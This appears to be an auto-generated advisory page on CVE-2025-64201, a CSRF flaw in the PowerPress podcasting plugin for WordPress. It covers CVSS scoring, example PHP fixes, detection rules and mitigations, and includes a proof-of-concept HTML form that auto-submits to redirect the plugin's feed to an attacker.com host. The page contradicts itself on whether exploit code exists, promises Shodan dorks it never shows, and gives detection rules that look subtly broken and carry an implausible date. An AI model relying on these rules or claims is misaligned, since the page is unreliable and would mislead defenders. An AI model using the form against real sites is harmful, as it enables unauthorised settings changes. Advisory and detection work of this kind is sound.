CVE-2025-64201
Executive Summary
CVE-2025-64201 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Blubrry PowerPress Podcasting plugin for WordPress. This vulnerability affects all versions of the plugin from n/a through 11.13.12. The flaw allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or initiating unintended podcast operations, without the victim's consent. The vulnerability is classified as a WordPress ecosystem issue, as it resides within the plugin's codebase and does not involve the underlying web server (Apache/Nginx).
The CVSS score is 4.3 (Medium), with a low attack complexity but requiring user interaction. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. No public proof-of-concept (PoC) or exploit code is available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no additional supply chain analysis is required.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need authentication.
- User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): None – No data is exposed.
- Integrity (I): Low – The attacker can modify plugin settings or perform actions.
- Availability (A): None – No denial-of-service impact.
Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the potential for unauthorized configuration changes makes it a valid concern for WordPress site administrators.
Deep Dive & Mechanics
The vulnerability stems from the lack of CSRF protection (nonce validation) in certain administrative actions within the PowerPress Podcasting plugin. In WordPress, CSRF tokens (nonces) are used to verify that requests to perform sensitive actions originate from the intended user. When a plugin fails to implement nonce checks on its admin AJAX endpoints or form submissions, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, triggers unauthorized actions.
Attack Flow:
- An attacker identifies a WordPress site running PowerPress Podcasting <= 11.13.12.
- The attacker crafts a malicious HTML page containing a hidden form or JavaScript that sends a request to the vulnerable endpoint (e.g., changing plugin settings, deleting podcasts, or modifying feed URLs).
- The attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email or social engineering).
- The victim's browser automatically sends the forged request, including the victim's session cookies, to the WordPress site.
- The plugin processes the request without verifying the CSRF token, executing the attacker's desired action.
Vulnerable Endpoints: The exact endpoints are not publicly documented, but typical CSRF vulnerabilities in WordPress plugins affect settings pages, import/export functions, and AJAX handlers for administrative tasks.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates a typical CSRF fix in WordPress plugins:
Vulnerable Code (Example):
// In a plugin admin page or AJAX handler
function powerpress_save_settings() {
// No nonce check
update_option('powerpress_settings', $_POST['settings']);
wp_redirect(admin_url('admin.php?page=powerpress'));
}
Patched Code (Example):
function powerpress_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'powerpress_save_settings')) {
wp_die('Security check failed.');
}
update_option('powerpress_settings', $_POST['settings']);
wp_redirect(admin_url('admin.php?page=powerpress'));
}
The patched version adds a nonce check using wp_verify_nonce() and wp_nonce_field() in the form, preventing unauthorized requests.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code is available, the following is a conceptual demonstration.
Step 1: Identify Vulnerable Endpoint
- Use a tool like Burp Suite to intercept admin actions in PowerPress and identify endpoints lacking nonce parameters.
Step 2: Craft Malicious HTML
<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=powerpress" method="POST">
<input type="hidden" name="action" value="update_settings">
<input type="hidden" name="powerpress_feed_url" value="http://attacker.com/malicious-feed.xml">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Step 3: Deliver Payload
- Host the HTML on an attacker-controlled server and send the link to an authenticated admin via email or social media.
Step 4: Execute
- When the admin visits the page, the form auto-submits, changing the feed URL to the attacker's server.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual admin actions, especially changes to plugin settings or feed URLs.
- Look for HTTP requests to
/wp-admin/admin.php?page=powerpresswith missing_wpnonceparameters. - Analyze server logs for referrer headers from unknown domains.
Defense:
- Apply the principle of least privilege: restrict admin access to trusted users.
- Use Web Application Firewalls (WAF) to block requests with suspicious referrers.
- Implement Content Security Policy (CSP) headers to prevent form submission from external domains.
- Educate administrators about phishing attacks and the importance of verifying URLs.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/wp-admin/admin.php?page=powerpresswithout a_wpnonceparameter. - Referrer headers from domains not associated with the WordPress site.
- Unusual changes to the
powerpress_feed_urlor other plugin options in the database.
- HTTP POST requests to
Host IOCs:
- Modified entries in the
wp_optionstable underpowerpress_settings. - Unexpected plugin configuration changes in the WordPress admin dashboard.
- Modified entries in the
Log IOCs:
- Repeated admin page accesses from a single IP address in a short time frame.
- Error logs showing failed nonce checks (if patched) or missing nonce warnings.
Detection Engineering
YARA Rule
rule CVE_2025_64201_CSRF_PowerPress {
meta:
description = "Detects potential CSRF exploitation attempts against PowerPress Podcasting plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64201"
strings:
$admin_page = "admin.php?page=powerpress"
$post_action = "action=update_settings"
$feed_url = "powerpress_feed_url"
condition:
all of them
}
Sigma Rule
title: CVE-2025-64201 - PowerPress CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting PowerPress admin pages without nonce parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin.php?page=powerpress'
cs-uri-query|contains: 'action=update_settings'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions with nonce (filtered out)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64201 - PowerPress CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin.php"; content:"page=powerpress"; http.client_body; content:"action=update_settings"; pcre:"/^(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released by Blubrry.
- Implement a Web Application Firewall (WAF) rule to block requests to PowerPress admin pages without nonce parameters.
- Audit admin accounts and remove unnecessary privileges.
Long-term Fix:
- Monitor the WordPress plugin repository for an update to PowerPress Podcasting > 11.13.12.
- Apply the patch as soon as it becomes available.
- Consider using a security plugin like Wordfence to add CSRF protection to all admin actions.
Workaround:
- Add a custom function to the theme's
functions.phpto enforce nonce checks on PowerPress endpoints (advanced users only).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.